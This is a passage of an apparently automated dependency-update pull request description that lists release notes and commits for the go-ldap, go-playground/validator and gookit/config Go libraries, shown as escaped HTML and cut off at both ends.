href=\"https://github.com/johnallers\"\u003e\u003ccode\u003e@​johnallers\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/571\"\u003ego-ldap/ldap#571\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRemove execute bit from test file by \u003ca href=\"https://github.com/gibmat\"\u003e\u003ccode\u003e@​gibmat\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/572\"\u003ego-ldap/ldap#572\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump golang.org/x/crypto from 0.36.0 to 0.45.0 in /v3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/573\"\u003ego-ldap/ldap#573\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdate search.go: fix typo by \u003ca href=\"https://github.com/reshke\"\u003e\u003ccode\u003e@​reshke\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/574\"\u003ego-ldap/ldap#574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix ExtendedResponse parsing by \u003ca href=\"https://github.com/giggsoff\"\u003e\u003ccode\u003e@​giggsoff\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/575\"\u003ego-ldap/ldap#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: correct extended request/response handling in \u003ccode\u003eExtended\u003c/code\u003e by \u003ca href=\"https://github.com/cpuschma\"\u003e\u003ccode\u003e@​cpuschma\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/576\"\u003ego-ldap/ldap#576\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: simplify \u003ccode\u003eWhoAmI\u003c/code\u003e implementation using \u003ccode\u003eExtended\u003c/code\u003e API by \u003ca href=\"https://github.com/cpuschma\"\u003e\u003ccode\u003e@​cpuschma\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/577\"\u003ego-ldap/ldap#577\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add \u003ccode\u003ePostalAddress\u003c/code\u003e type by \u003ca href=\"https://github.com/cpuschma\"\u003e\u003ccode\u003e@​cpuschma\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/579\"\u003ego-ldap/ldap#579\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: update dependencies by \u003ca href=\"https://github.com/cpuschma\"\u003e\u003ccode\u003e@​cpuschma\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/581\"\u003ego-ldap/ldap#581\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAddress panic in GetLDAPError, add fuzzer by \u003ca href=\"https://github.com/TomSellers\"\u003e\u003ccode\u003e@​TomSellers\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/582\"\u003ego-ldap/ldap#582\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/johnallers\"\u003e\u003ccode\u003e@​johnallers\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/571\"\u003ego-ldap/ldap#571\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gibmat\"\u003e\u003ccode\u003e@​gibmat\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/572\"\u003ego-ldap/ldap#572\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/reshke\"\u003e\u003ccode\u003e@​reshke\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/574\"\u003ego-ldap/ldap#574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/giggsoff\"\u003e\u003ccode\u003e@​giggsoff\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/575\"\u003ego-ldap/ldap#575\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/go-ldap/ldap/compare/v3.4.12...v3.4.13\"\u003ehttps://github.com/go-ldap/ldap/compare/v3.4.12...v3.4.13\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/3bbbfb11ea214eec5d517c815a9ea3c69aa49afb\"\u003e\u003ccode\u003e3bbbfb1\u003c/code\u003e\u003c/a\u003e Address panic in GetLDAPError, add fuzzer (\u003ca href=\"https://redirect.github.com/go-ldap/ldap/issues/582\"\u003e#582\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/539d8f570b229530b402f5c8fd9c10258157d1d9\"\u003e\u003ccode\u003e539d8f5\u003c/code\u003e\u003c/a\u003e chore: update dependencies (\u003ca href=\"https://redirect.github.com/go-ldap/ldap/issues/581\"\u003e#581\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/570560be831a510ba3516f66fa6d3c43194ebe50\"\u003e\u003ccode\u003e570560b\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003ePostalAddress\u003c/code\u003e type (\u003ca href=\"https://redirect.github.com/go-ldap/ldap/issues/579\"\u003e#579\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/8bb1a965ebb340ed8557040b6ae34181dc3a7a16\"\u003e\u003ccode\u003e8bb1a96\u003c/code\u003e\u003c/a\u003e refactor: simplify \u003ccode\u003eWhoAmI\u003c/code\u003e implementation using \u003ccode\u003eExtended\u003c/code\u003e API (\u003ca href=\"https://redirect.github.com/go-ldap/ldap/issues/577\"\u003e#577\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/f881ce827fcf62c23303095aeeeff073a863cf14\"\u003e\u003ccode\u003ef881ce8\u003c/code\u003e\u003c/a\u003e refactor: remove redundant \u003ccode\u003eResultCode\u003c/code\u003e field from \u003ccode\u003eExtendedResponse\u003c/code\u003e struct\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/5f4b93789c4e0515916c5b20419c9820a7d46755\"\u003e\u003ccode\u003e5f4b937\u003c/code\u003e\u003c/a\u003e refactor: remove accidently published \u003ccode\u003eReferral\u003c/code\u003e field from `ExtendedResponse...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/bdde9c57877c31d990a912c4bf415a11e560f026\"\u003e\u003ccode\u003ebdde9c5\u003c/code\u003e\u003c/a\u003e fix: correct extended request/response handling in \u003ccode\u003eExtended\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/d5557d0aecca015950e7541c2798a4a20b7bcc52\"\u003e\u003ccode\u003ed5557d0\u003c/code\u003e\u003c/a\u003e refactor: simplify container command resolution in Makefile\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/dbef7bed8558992121519cebc92db402a19756c6\"\u003e\u003ccode\u003edbef7be\u003c/code\u003e\u003c/a\u003e Fix ExtendedResponse parsing (\u003ca href=\"https://redirect.github.com/go-ldap/ldap/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/0935f925360d0c57a787e00cea5813a602563ae8\"\u003e\u003ccode\u003e0935f92\u003c/code\u003e\u003c/a\u003e Update search.go: fix typo (\u003ca href=\"https://redirect.github.com/go-ldap/ldap/issues/574\"\u003e#574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/go-ldap/ldap/compare/v3.4.12...v3.4.13\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/go-playground/validator/v10` from 10.30.1 to 10.30.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/go-playground/validator/releases\"\u003egithub.com/go-playground/validator/v10's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.30.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps): bump golang.org/x/crypto from 0.46.0 to 0.47.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1523\"\u003ego-playground/validator#1523\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add translations for alphaspace and alphanumspace tags in indonesian by \u003ca href=\"https://github.com/savioruz\"\u003e\u003ccode\u003e@​savioruz\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1522\"\u003ego-playground/validator#1522\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump github.com/gabriel-vasile/mimetype from 1.4.12 to 1.4.13 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1526\"\u003ego-playground/validator#1526\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add cmyk(color) to validator by \u003ca href=\"https://github.com/thenicolau\"\u003e\u003ccode\u003e@​thenicolau\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1528\"\u003ego-playground/validator#1528\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump golang.org/x/text from 0.33.0 to 0.34.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1534\"\u003ego-playground/validator#1534\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump golang.org/x/crypto from 0.47.0 to 0.48.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1533\"\u003ego-playground/validator#1533\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGo 1.26 support by \u003ca href=\"https://github.com/nodivbyzero\"\u003e\u003ccode\u003e@​nodivbyzero\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1535\"\u003ego-playground/validator#1535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: prevent panic in unique validation with nil pointer elements by \u003ca href=\"https://github.com/nodivbyzero\"\u003e\u003ccode\u003e@​nodivbyzero\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1532\"\u003ego-playground/validator#1532\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: fix typos by \u003ca href=\"https://github.com/alexandear\"\u003e\u003ccode\u003e@​alexandear\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1527\"\u003ego-playground/validator#1527\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: implement ValidatorValuer interface feature by \u003ca href=\"https://github.com/thommeo\"\u003e\u003ccode\u003e@​thommeo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1416\"\u003ego-playground/validator#1416\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add Valuer interface documentation and example by \u003ca href=\"https://github.com/wofiporia\"\u003e\u003ccode\u003e@​wofiporia\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1540\"\u003ego-playground/validator#1540\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump golang.org/x/text from 0.34.0 to 0.35.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1545\"\u003ego-playground/validator#1545\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump golang.org/x/crypto from 0.48.0 to 0.49.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1546\"\u003ego-playground/validator#1546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add postcode patterns for Colombia (CO) and British Virgin Islands (VG) by \u003ca href=\"https://github.com/j-ibarra\"\u003e\u003ccode\u003e@​j-ibarra\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1547\"\u003ego-playground/validator#1547\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(fqdn): allow hyphens in last domain label by \u003ca href=\"https://github.com/alihasan070707\"\u003e\u003ccode\u003e@​alihasan070707\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1548\"\u003ego-playground/validator#1548\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/savioruz\"\u003e\u003ccode\u003e@​savioruz\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1522\"\u003ego-playground/validator#1522\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thenicolau\"\u003e\u003ccode\u003e@​thenicolau\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1528\"\u003ego-playground/validator#1528\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thommeo\"\u003e\u003ccode\u003e@​thommeo\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1416\"\u003ego-playground/validator#1416\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/wofiporia\"\u003e\u003ccode\u003e@​wofiporia\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1540\"\u003ego-playground/validator#1540\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/j-ibarra\"\u003e\u003ccode\u003e@​j-ibarra\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1547\"\u003ego-playground/validator#1547\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/alihasan070707\"\u003e\u003ccode\u003e@​alihasan070707\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1548\"\u003ego-playground/validator#1548\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/go-playground/validator/compare/v10.30.1...v10.30.2\"\u003ehttps://github.com/go-playground/validator/compare/v10.30.1...v10.30.2\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/b9258bd2b7bbab41c3d99090cac4a659c5f1a60c\"\u003e\u003ccode\u003eb9258bd\u003c/code\u003e\u003c/a\u003e fix(fqdn): allow hyphens in last domain label (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1548\"\u003e#1548\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/b9f1d79d745213827cf712628dfe29211507b011\"\u003e\u003ccode\u003eb9f1d79\u003c/code\u003e\u003c/a\u003e feat: add postcode patterns for Colombia (CO) and British Virgin Islands (VG)...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/7fa95998a0d9ac50f842f7eceeb44383c285fa63\"\u003e\u003ccode\u003e7fa9599\u003c/code\u003e\u003c/a\u003e chore(deps): bump golang.org/x/crypto from 0.48.0 to 0.49.0 (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1546\"\u003e#1546\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/8ca29eca887da7222870fc0ae41e9127960d6838\"\u003e\u003ccode\u003e8ca29ec\u003c/code\u003e\u003c/a\u003e chore(deps): bump golang.org/x/text from 0.34.0 to 0.35.0 (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1545\"\u003e#1545\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/5e1bedfe984f4501e4636e5058905dcd6129084d\"\u003e\u003ccode\u003e5e1bedf\u003c/code\u003e\u003c/a\u003e docs: add Valuer interface documentation and example (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1540\"\u003e#1540\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/42927a0f7810a16c558a02d5a75b8c13134ba50c\"\u003e\u003ccode\u003e42927a0\u003c/code\u003e\u003c/a\u003e feat: implement ValidatorValuer interface feature (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1416\"\u003e#1416\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/c254ece8c8e35526572e6035f86adb763abb0bce\"\u003e\u003ccode\u003ec254ece\u003c/code\u003e\u003c/a\u003e docs: fix typos (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1527\"\u003e#1527\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/43253862b17ba5ae184cff6a136a2e62dbddce4a\"\u003e\u003ccode\u003e4325386\u003c/code\u003e\u003c/a\u003e fix: prevent panic in unique validation with nil pointer elements (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1532\"\u003e#1532\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/d3f35da4560da3a36ed0783f25e2c1d180b11f32\"\u003e\u003ccode\u003ed3f35da\u003c/code\u003e\u003c/a\u003e Go 1.26 support (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1535\"\u003e#1535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/f5c74ce583d5feab2fa257edc52a8c7163dcea89\"\u003e\u003ccode\u003ef5c74ce\u003c/code\u003e\u003c/a\u003e chore(deps): bump golang.org/x/crypto from 0.47.0 to 0.48.0 (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1533\"\u003e#1533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/go-playground/validator/compare/v10.30.1...v10.30.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/gookit/config/v2` from 2.2.7 to 2.2.8\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gookit/config/releases\"\u003egithub.com/gookit/config/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.2.8\u003c/h2\u003e\n\u003ch2\u003eChange Log\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix parsing of zero duration with units (\u003ca href=\"https://redirect.github.com/gookit/config/issues/202\"\u003e#202\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/5b631cdb4fce72edc25a759159572361d082d6cd\"\u003ehttps://github.com/gookit/config/commit/5b631cdb4fce72edc25a759159572361d082d6cd\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeature\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat(load): 添加按过滤器加载配置文件和环境变量的功能 \u003ca href=\"https://github.com/gookit/config/commit/50bd1c0253d175921ce61f7d29738002927a3a97\"\u003ehttps://github.com/gookit/config/commit/50bd1c0253d175921ce61f7d29738002927a3a97\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eUpdate\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e:necktie: up: update go min version to go 1.21 \u003ca href=\"https://github.com/gookit/config/commit/e6a2a31ef9be86f5a658904d5ebd0d628f37c9a7\"\u003ehttps://github.com/gookit/config/commit/e6a2a31ef9be86f5a658904d5ebd0d628f37c9a7\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd Copilot coding agent instructions for efficient repository onboarding (\u003ca href=\"https://redirect.github.com/gookit/config/issues/200\"\u003e#200\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/bfea38ff035e2cd02c30bc42c9c2649906097f8b\"\u003ehttps://github.com/gookit/config/commit/bfea38ff035e2cd02c30bc42c9c2649906097f8b\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump github/codeql-action from 3 to 4 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/203\"\u003e#203\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/1a9afdaa519f09dc61207e2297e2a1d6949f89d1\"\u003ehttps://github.com/gookit/config/commit/1a9afdaa519f09dc61207e2297e2a1d6949f89d1\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump actions/checkout from 5 to 6 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/204\"\u003e#204\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/e4bef938cb2cba2d12e42a83bc237d7600287bc9\"\u003ehttps://github.com/gookit/config/commit/e4bef938cb2cba2d12e42a83bc237d7600287bc9\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump WillAbides/setup-go-faster from 1.14.0 to 1.15.0 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/205\"\u003e#205\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/e3919e3a8d1691408911074f905f84bff33cfe47\"\u003ehttps://github.com/gookit/config/commit/e3919e3a8d1691408911074f905f84bff33cfe47\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFixed panic and bugs in Exists()/GetValue() (\u003ca href=\"https://redirect.github.com/gookit/config/issues/206\"\u003e#206\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/d3d84075b214b1fd76d7caa10479a01d595eb8a3\"\u003ehttps://github.com/gookit/config/commit/d3d84075b214b1fd76d7caa10479a01d595eb8a3\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump softprops/action-gh-release from 2 to 3 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/207\"\u003e#207\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/fa9ac8d9f308c60c914ff203ec5a9717e6a5722e\"\u003ehttps://github.com/gookit/config/commit/fa9ac8d9f308c60c914ff203ec5a9717e6a5722e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump github.com/gookit/goutil from 0.7.1 to 0.7.4 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/210\"\u003e#210\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/9328cee57d0bf44806fae85db53b70d1d108deb7\"\u003ehttps://github.com/gookit/config/commit/9328cee57d0bf44806fae85db53b70d1d108deb7\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump github.com/go-viper/mapstructure/v2 from 2.4.0 to 2.5.0 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/208\"\u003e#208\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/e1e16792b3efc93d01d1c38c99f041aba147f654\"\u003ehttps://github.com/gookit/config/commit/e1e16792b3efc93d01d1c38c99f041aba147f654\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump github.com/goccy/go-json from 0.10.5 to 0.10.6 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/212\"\u003e#212\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/d63dc859bbb126733d63e76294b7a79da949f996\"\u003ehttps://github.com/gookit/config/commit/d63dc859bbb126733d63e76294b7a79da949f996\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump github.com/goccy/go-yaml from 1.18.0 to 1.19.2 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/209\"\u003e#209\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/4fd16162edf25dfc5a25d06412056b49c340dc5e\"\u003ehttps://github.com/gookit/config/commit/4fd16162edf25dfc5a25d06412056b49c340dc5e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump github.com/BurntSushi/toml from 1.5.0 to 1.6.0 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/211\"\u003e#211\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/67d37cd1abc71aa6020737b7c9286e53a26fd0d9\"\u003ehttps://github.com/gookit/config/commit/67d37cd1abc71aa6020737b7c9286e53a26fd0d9\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Add stable Go matrix entry and update checks \u003ca href=\"https://github.com/gookit/config/commit/81efee04deb0cfd4614538e7554555fa3b3dad23\"\u003ehttps://github.com/gookit/config/commit/81efee04deb0cfd4614538e7554555fa3b3dad23\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: 更新依赖和文档，调整.gitignore \u003ca href=\"https://github.com/gookit/config/commit/ef32aad39d5abef3153aa1c6bab1c0df1640fabf\"\u003ehttps://github.com/gookit/config/commit/ef32aad39d5abef3153aa1c6bab1c0df1640fabf\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/ef32aad39d5abef3153aa1c6bab1c0df1640fabf\"\u003e\u003ccode\u003eef32aad\u003c/code\u003e\u003c/a\u003e chore: 更新依赖和文档，调整.gitignore\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/50bd1c0253d175921ce61f7d29738002927a3a97\"\u003e\u003ccode\u003e50bd1c0\u003c/code\u003e\u003c/a\u003e feat(load): 添加按过滤器加载配置文件和环境变量的功能\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/81efee04deb0cfd4614538e7554555fa3b3dad23\"\u003e\u003ccode\u003e81efee0\u003c/code\u003e\u003c/a\u003e ci: Add stable Go matrix entry and update checks\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/67d37cd1abc71aa6020737b7c9286e53a26fd0d9\"\u003e\u003ccode\u003e67d37cd\u003c/code\u003e\u003c/a\u003e build(deps): bump github.com/BurntSushi/toml from 1.5.0 to 1.6.0 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/211\"\u003e#211\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/4fd16162edf25dfc5a25d06412056b49c340dc5e\"\u003e\u003ccode\u003e4fd1616\u003c/code\u003e\u003c/a\u003e build(deps): bump github.com/goccy/go-yaml from 1.18.0 to 1.19.2 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/209\"\u003e#209\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/d63dc859bbb126733d63e76294b7a79da949f996\"\u003e\u003ccode\u003ed63dc85\u003c/code\u003e\u003c/a\u003e build(deps): bump github.com/goccy/go-json from 0.10.5 to 0.10.6 (\u003ca 